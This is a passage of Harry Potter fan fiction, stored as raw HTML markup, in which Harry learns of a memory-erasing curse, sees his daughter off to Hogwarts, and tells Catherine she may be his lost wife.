class="MsoPlainText">&quot;I\'ve\ntried and tried to talk to her.&quot; Grace had said quietly. She pressed her\nlips together and shook her head. &quot;Cath can be very stubborn when she\nwants to be.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry had\nnodded in defeat. &quot;Will you still tell her I came by?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Of\ncourse I will.&quot; Grace had then smiled warmly. &quot;She\'ll come around. I\npromise.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry drained\nthe last of the tea in his mug and set it in the sink. His mind turned to more\ntroubling thoughts, mainly his conversation with Ron after he had filled him in\non the details on what had happened the evening of his and Catherine\'s date.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">~*&quot;What a\nbummer!&quot; Ron said sympathetically once Harry finished telling him about\nthe end of his evening. Harry ran his hands through his hair in frustration.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I can\'t\nthink about this anymore.&quot; He looked up at Ron. &quot;Tell me about the\ncurse.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron sat\nheavily into a kitchen chair. &quot;I\'m afraid I don\'t the best of news.&quot;\nHe paused for a moment to collect his thoughts. &quot;Well I asked old\nMundungus Fletcher about it, since he knows just about every curse known to\nman.&quot; Ron leaned forward towards Harry. &quot;And almost nothing shocks\nhim anymore, but when I told him the words for the curse, he paled so much I\nhad to get him to sit down.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\'s eyes\ngrew wide. &quot;What?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron nodded.\n&quot;He actually pulled me into a private office. Then he asked me again what\nthe curse was, so I told him, and he asked how I found out about it&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">~*Ron\'s\nFlashback*~</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Where\ndid you say you heard this curse from?&quot; Mundungus Fletcher was leaning\nheavily over the table.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;One of\nmy friends believes it was used on his wife.&quot; Ron replied.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Really&#8230;&quot;\nFletcher said. He sat back in his chair and tapped his finger on his chin.\n&quot;That is most alarming to hear&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why?&quot;\nRon asked, a ball of fear beginning to pound in his chest.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s the\nfourth Unforgivable Curse.&quot; Fletcher said quietly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;The\nfourth?&quot; Ron asked, perplexed. &quot;I thought there were only\nthree.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No,\nthere are four, the Alieno Cunctus curse was banned by the Ministry almost as\nsoon as it was developed. It was used by Voldemort during his reign to wipe\npeople of their memories, so that his influence on them was greater.&quot;\nFletcher once more leaned forward. &quot;He figured if people could not\nremember their lives, he could tempt them into his control and have as many\nfollowers as necessary.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron sat back,\nhis head spinning from the revelation. &quot;Is there a counter curse?&quot;\nhis eyes were pleading.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;There is\nyes, but it has the most dire of consequences if it does not work.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Like\nwhat?&quot; Ron\'s eyes grew wide.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,\none effect is the person who was cursed will lose all memory forever. They will\nnever be able to retain anything in their head ever again. The second, the\nperson could die.&quot; Fletcher looked up at Ron, who grew pale. &quot;The\nthird, well, the person will remember everything.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How do\nwe know which one will work?&quot; Ron asked quickly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;The\nthird effect will work only if the person whom the counter curse is being\nperformed on believes themselves to be under the curse, and agrees to having\nthe counter curse done.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nthat\'s good!&quot; Ron said, brightening.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Fletcher put\nup his index finger. &quot;The second effect will happen if the counter curse\nis performed on a person who is NOT under the Alieno Cunctus curse, or if they\ndon\'t believe in themselves.&quot; Fletcher paused. &quot;The first\neffect&#8230;.&quot; He leaned forward in his chair again. &quot;The counter curse is\na VERY difficult potion to make. If any ingredient is forgotten, put in wrong,\nnot enough or too much, the person will lose any and all memories forever.\nThere is no retrieval.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron gulped.\n&quot;I see&#8230;&quot; he croaked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Fletcher\nregarded him through half lidded eyes. &quot;I have the potion in a book in my\nregular office.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I want\nit.&quot; Ron replied without hesitation. Fletcher silently led him up to his\noffice and magicked a copy of the potion to Ron immediately.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Be\ncareful with this.&quot; Fletcher gripped Ron\'s arm tightly. &quot;And you\nremember this too, Mr. Weasley, if you find out who has done an Unforgivable\nCurse, they go to Azkaban.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron\'s mouth\nwas set in a grim line. &quot;Oh believe me, I will find out who did\nthis&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">*End Ron\'s\nFlashback*</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\'s mouth\nwas open much like Ron\'s was when Fletcher was telling him the details of the\ncurse. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What do\nwe do?&quot; Ron asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Need you\nask?&quot; Harry said bitterly. &quot;But I don\'t know how I\'m going to get her\nto do this. She probably won\'t come near me now.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well&#8230;&quot;\nRon said thoughtfully. &quot;Perhaps it\'s time to fill her in?&quot; *~</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry stood at\nhis kitchen sink as he thought hard about what Ron had said. He knew deep down\nthat Ron was right. It was not time to play games through this anymore. They\nhad tracked down most of the necessary items for this potion, and Ron was\nhaving it brewed at the ministry, as it was such a dangerous counter curse that\nit needed to be monitored. Harry only hoped now he could get Catherine to trust\nhim enough to take it. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Meanwhile,\nCatherine and Grace took that morning and did a little shopping, which didn\'t\nhelp to cheer Catherine, as she truly hated shopping for clothes. Grace, in the\nhalf hour they had been gone, had acquired about six bags full of new dresses,\npants and shirts, while Catherine had managed to find one sweater. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Let\'s go\nback&#8230;&quot; she was moaning. &quot;I don\'t want to shop.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace rolled\nher eyes. &quot;You\'ve been moping about the house for a week, I just FINALLY\nyesterday get you to come out of your room and tell me about what happened the\nnight you and Harry went out&#8230;&quot; she sighed and pulled Catherine\'s arm.\n&quot;Let\'s go have some chocolate. That ALWAYS cheers you up, and I can\'t\nbelieve I didn\'t think of it till now.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace yanked\nCatherine in the direction of Florean Fortescue\'s. &quot;What do you\nwant?&quot; Grace asked once they were inside, turning to Catherine, who for\nsome reason looked like she was going to cry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine drew\na shaky breath. &quot;Nothing. I\'m fine.&quot; She finally managed to pull\nherself free of Grace. &quot;Look I\'m going to wait outside.&quot; She flew out\nof the store.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace followed\nher, all thoughts of ice cream abandoned. &quot;Cath?&quot; she asked softly.\nShe followed her friend to a bench nearby and they sat down. &quot;You miss him\ndon\'t you.&quot; She said perceptively. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What are\nyou talking about?&quot; Catherine said, too quickly. &quot;I haven\'t been\nthinking of Harry at all!&quot; she snapped her mouth shut when she realized\nwhat she had said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure.\nWhatever you say.&quot; Grace said sarcastically. &quot;Look, I know you miss\nhim, you have been hanging around all week with a long face and done nothing.\nGo to him and let him apologize to you, he\'s been trying all week!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nfaced her. &quot;Look, he might know something about my life that I don\'t, and\nhe won\'t share it with me. Until he will, I don\'t want to have anything to do\nwith him!&quot; she sat back on the bench. &quot;I just want to know about\nmyself. Before I met you I don\'t know who or what I was.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace put a\nhand on Catherine\'s back sympathetically. &quot;I know, believe me I know. Just\ngive him a little time. I bet he will tell you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m not\ncounting on anything.&quot; Catherine said wryly. &quot;Look, I\'m going to go\nback to the flat, I need to be alone right now.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace nodded\nin defeat. &quot;All right.&quot; She paused. &quot;Are you sure you want to be\nalone some more?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah.&quot;\nShe replied. &quot;I need to do some serious thinking.&quot; Grace squeezed her\narm and Catherine apparated back to the flat. She dropped her bag on her bed\nand lay down for a moment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">As much as she\nhated to admit Grace was right, she was. Catherine missed Harry, she missed him\na lot. Even though she had only known him for a few days before they had gotten\ninto their fight, there was something about him that made her feel special.\nWhen she was with him she felt so familiar, she felt complete, like a missing\npiece of the puzzle that was her mind had been found. She sat back up and threw\na sweater on over her tank top. She needed a bit of fresh air. She left the flat\nand walked up the fire escape to the roof.&nbsp;\nOnce she got up top, she breathed in the cool air that wafted across her\nface and blew her long hair out behind her. She closed her eyes and willed her\ntroubling thoughts away. Enclosed into herself, she did not hear the person\napproaching until they grabbed her from behind.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;DUNCAN!&quot;\nshe screamed, pulling herself free and whirling around.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nhe asked, holding his arms out to his sides. &quot;You act like you\'re not\nhappy to see me.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nnot!&quot; she snapped back at him. &quot;Honestly, I can\'t believe you, acting\nas if everything is okay between us.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Duncan rolled\nhis eyes. &quot;Look, I told you I was sorry. Why can\'t you accept that?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nglared silently at him, and then a horrible gleam entered her eyes. &quot;You\nknow, I did tell you if you ever came near me again I\'d hex you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Duncan heckled\nnervously. &quot;You know you didn\'t mean that.&quot; He tried to say\nconfidently.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\'s\neyes narrowed and before he could do anything, she pointed her wand at him.\n&quot;Furnunculus!&quot; she said, and on Duncan\'s normally smug face popped\nout tons of boils.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Bitch!&quot;\nhe screamed, while trying to reach for his own wand. She never gave him the\nchance. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Petrificus\nTotalus!&quot; she cried out next, then she banished him to the middle of\nDiagon Alley.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine felt\nno remorse for what she had just done. After all he had done to her, he\ndeserved it. She sat down on the cold gravel ground and leaned back against the\nhalf wall that circled the perimeter of the building.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Downstairs,\nHarry was trying to get the rest of Caitlyn\'s things together.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty, we\nhave to be at the train station in twenty minutes!&quot; Harry yelled down the\nhallway. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I know!\nI\'m ready!&quot; she called back. Her door opened and she began lugging her trunk\ndown the hall.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Here.&quot;\nHarry pointed his wand at the trunk. &quot;Wingardium Leviosa!&quot; he said,\nand the trunk floated down the hall.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Cool!&quot;\nCaitlyn cried. &quot;When do I learn that?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Probably\ntwo days from now.&quot; Harry told her. Flitwick had taught them that charm\nright away. &quot;Come on, we\'ve got to get going.&quot; Harry shrank her trunk\ndown and put it in his pocket. He grabbed her hand and they left the flat.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nno!&quot; Caitlyn wailed when they had gotten outside. &quot;I forgot\nSnuffles!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nHarry asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;My\ndragon!&quot; she looked up at her father. &quot;I need to go back and get\nhim!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Go.&quot;\nHarry pushed his daughter in the direction of the door. &quot;You\'d better\nhurry!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn ran\nback upstairs and unlocked the door to the flat. She hurriedly spied Snuffles\nlying on her bed and she grabbed the dragon and rushed back down.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oomph!&quot;\nshe said as she crashed into someone. She looked up and found Catherine staring\ndown at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nokay?&quot; Catherine asked her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah,\nI\'m fine, my dad is waiting for me outside.&quot; Caitlyn said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh&#8230;so\nhe\'s already outside?&quot; Catherine said, trying not to sound too\ndisappointed. A thrill had shot through her when she saw the little girl; she\nhad hoped to see Harry with her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah.&quot;\nCaitlyn looked back up at her; she seemed to be thinking hard. &quot;You know,\nyou look a lot like my mum.&quot; She burst out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nlooked startled. &quot;I beg your pardon?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;My uncle\nRon gave me a picture of my mum, and she looks a lot like you.&quot; Caitlyn\nsaid again. When Catherine didn\'t respond, she continued.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;My dad\nmisses you too.&quot; She figured she may as well go for broke. &quot;He likes\nyou a lot.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;He&#8230;does?&quot;\nCatherine asked tentatively. &quot;How do you know?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn bit\nher lower lip. &quot;I hear him talking to my uncle Ron about you a lot,\nand&#8230;&quot; she trailed off. A sudden idea lit up her eyes. &quot;Here!&quot;\nshe exclaimed. Caitlyn dug into her pocket and produced her key to the flat.\n&quot;You can go talk to him later!&quot; she shoved the key in Catherine\'s\nhand and turned to leave.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wait!&quot;\nCatherine called out. &quot;I can\'t take your key!&quot; But it was too late;\nCaitlyn had already disappeared out the door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn flew\nback out the door and she and Harry quickly made their way down to King\'s Cross\nStation. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay,\nCaty Cat&#8230;&quot; Harry put his arm on his daughter\'s shoulder. &quot;See the\nbarrier between platforms 9 and 10? You need to run straight into it.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She looked at\nhim, quite alarmed. &quot;I WHAT?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Trust\nme, love. It\'s not hard. I\'ll be right behind you, ok?&quot; Harry reassured\nher. &quot;And I bet you Blue is already on the train waiting for you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">That got her\nmoving, she took a deep breath and walked towards the barrier. Harry blinked\nand in a second she was gone. He counted to five to make sure she was out of\nhis way and went through it himself.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Waves and\nwaves of memories poured over him as he took in the familiar scarlet train, the\nwooden signs proclaiming Platform 9 &#190;, Harry could almost hear Hagrid calling\n\'Firs\' Years, this way!\'. He saw Caitlyn was already standing with Ron,\nLavender and Blue. Lavender was sobbing and hugging Blue tightly, and he was\ntrying to squirm out of her grasp.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Mum,\ncome on!&quot; he was saying. Ron looked up and saw Harry coming towards them.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Brings\nback lots of memories doesn\'t it.&quot; He said, looking around. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It sure\ndoes.&quot; Harry agreed. He pulled Caitlyn\'s trunk out of his pocket and\nresized it to normal. He and Ron shoved it onto a train compartment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;All\nright&#8230;&quot; Harry said. He felt a sudden sharp tug on his stomach; he\'d been\ndreading this moment for a while now. &quot;Time to go&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn looked\nup at her father for a moment, then jumped into his arms and gave him a tight\nhug. She felt a small tear trickle out of her eye. She\'d never felt so scared\nin her life; it would be the first time she\'d ever been away from her father\nfor any length of time.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I love\nyou Dad!&quot; she said, squeezing him tighter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Me too\nCaty Cat.&quot; Harry said, trying to speak over the lump in his throat.\n&quot;You have a good safe trip and remember, you can owl me anytime you need\nanything.&quot; She nodded, and she and Blue got up onto the train. The whistle\nblew not a moment later, and the train started to chug out of the station.\nHarry, Ron and Lavender waved until the train was out of sight.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry sighed,\nstaring at the empty track. Lavender still had tears in her eyes, and Ron was\nholding her arm.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You want\nto come over later Harry?&quot; Ron asked. Harry shrugged. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Maybe. I\njust kind of want to go home right now, be by myself for awhile.&quot; He\nreplied.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron nodded.\n&quot;All right. Just come on over later if you feel up to it, ok?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded\nand waved goodbye; he apparated back to the flat, which felt cold and alone. He\nlooked out the window at Diagon Alley, it had started to rain steadily and it\nhad become quite chilly. He went to his bedroom and pulled on a navy blue\nsweater over his shirt. Harry came back into the kitchen and made himself\nanother mug of tea, and took it into the living room with him. He sat down at\nthe piano and touched the keys gently; due to the events of the past few weeks\nhe had not played his piano in ages. He put the mug on the table next to the\npiano and flexed his fingers. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry began to\nplay one of his favorite songs, Moonlight Sonata by Beethoven. It perfectly\nmatched the gloom of the day, and was soothing to his head. He began to lose\nhimself completely to the music.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nstood outside Harry\'s door. She had debated over what to do with the key that\nCaitlyn had given her, and the knowledge, that she resembled Harry\'s wife&#8230;she\nhonestly could not make anything of that until she talked to him. Which was why\nshe was now standing outside his door. She swallowed her nerves, then pushed a\nstrand of her hair back into her messy bun and knocked softly, then a bit\nlouder when no one came to the door. Perhaps he wasn\'t home from dropping\nCaitlyn off at the train station yet. An idea occurred to her, she could just\nopen the door and drop the key on a table, and he\'d never know she\'d been\nthere. She pulled the key from her pocket with a trembling hand and it actually\ntook her two tries to get it inserted into the lock. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Quietly, she\ninched the door open, only to be confronted by a surprise- beautiful melodious\npiano music was filling the hallway of Harry\'s flat. Her intentions of leaving\nthe key and slipping out before being noticed was forgotten as the soft notes\ndrew her further into the flat. She entered what had to be Harry\'s living room\nand caught her breath as she laid her eyes on his frame, which was currently\nplanted on the piano bench, his long fingers rippling over the keys in a dark\ntune, which she happened to recognize as Moonlight Sonata by Ludwig Van\nBeethoven. Not realizing what she was doing, she ventured further until she was\nstanding directly next to him. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry felt\nstrangely calm as he began to play the ending notes to the song. After it was\nover, he stayed still for a moment, his eyes closed, just feeling the effects\nthe music had on him. A few moments later, he opened his eyes and began to\nstand up, and a yelp of surprise escaped him as he came face to face with\nCatherine. In his shock, he fell over the piano bench and on his back.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh my\nGod!&quot; Catherine cried, watching him fall backwards. She felt horrible\nsneaking up on him like that now, and she rushed over to help him up.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh uh,\nI\'m fine.&quot; Harry mumbled, too distracted by her hand on his arm helping\nhim up to string a coherent sentence together. She got him back up and he\nseated himself onto the piano bench again, her right next to him. Catherine\nmoved her hand to his back and gently pressed her hand on it.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nsure? You took quite a spill.&quot; She was concerned.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nfine, really.&quot; Harry insisted, still staring at her. &quot;How did you get\nin here?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It was her\nturn to blush. &quot;Well, you see,&quot; she started, holding the key out to\nhim, &quot;I saw Caitlyn in the hallway before you took her to school, and she\ngave it to me.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\nsee.&quot; Harry said, taking the key from her outstretched hand. He set it on\nthe small table next to the piano and turned to face her again. &quot;So&#8230;what\nbrings you by today?&quot; he asked slowly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine took\na deep breath. &quot;I have some things I would like to talk to you\nabout.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You want\nto talk to me about what I said that night&#8230;&quot; Harry guessed correctly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nyes, I would like to talk about that.&quot; She said. &quot;But today, when I\nsaw Caitlyn in the hallway, she said something that completely stunned\nme.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\'s\nthat?&quot; he asked. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She swallowed\nbefore she could continue. &quot;Well, she told me that I look a lot like her\nmother.&quot; The words came bursting out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;She\nwhat?&quot; Harry asked, once again in shock. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Do\nI?&quot; she asked nervously. &quot;Do I look like your wife? Is that why you\nhave been interested in me?&quot; Small tears sprang to her eyes as this\ndisturbing thought entered her head.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry moved\nhis hand so it covered hers. &quot;Do you really want to know everything?&quot;\nhe asked quietly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She lifted her\nhead back up so her brown eyes met his green ones. She nodded silently, afraid\nto trust her voice.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;At\nfirst, yes, I was attracted to you because you very greatly resemble her.&quot;\nHe began. Catherine bit her lower lip but Harry continued before she could\nspeak. &quot;At first. I realize we didn\'t really get to know each other that\nwell but I feel something special with you anyway.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Really?&quot;\nshe asked tentatively.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Really\nreally.&quot; He smiled a moment before his face grew serious again. &quot;But\nI do want to tell you everything now.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why the\nsudden change?&quot; she asked. &quot;I mean, a week ago you didn\'t want to say\nanything.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry was\nsilent for a moment. &quot;Well, I\'ve found out a lot of things in this past\nweek that clear up a lot of mystery. And since I do believe it involves you,\nyou have a right to know what\'s going on.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry took his\ntime and explained everything as carefully and gently as he could. Catherine kept\nsilent through most of it, mulling the information over in her mind as he told\nher.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;&#8230;so,&quot;\nHarry paused. &quot;I really hope this doesn\'t scare you off, but I&#8230;I think\nthere is a strong possibility that you are her.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine got\nup from the bench and walked across the room and stared out the window at the\nrain, which was falling steadily. She was silent for a long moment, then turned\nback and faced Harry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So, if I\nam your wife&#8230;&quot; she paused and looked down. &quot;This means that\nCaitlyn&#8230;&quot; she was so shocked at this sudden realization that the words\nstuck in her throat.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\nCaitlyn is our daughter, yes.&quot; Harry finished for her. She stared at him\nfor a moment, and then felt her knees begin to buckle underneath her. Harry\nrushed forward and caught her before she could fall onto the floor. He helped\nher to the couch.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry&#8230;&quot; she said as they sat down. &quot;I just don\'t know what to say,\nthis is all&#8230;just a total shock.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry too.&quot; Harry said. &quot;I shouldn\'t have sprung all this on you at\nonce like I just did.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Play\nSilence now if you\'ve gotten it)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No, I\nwanted to 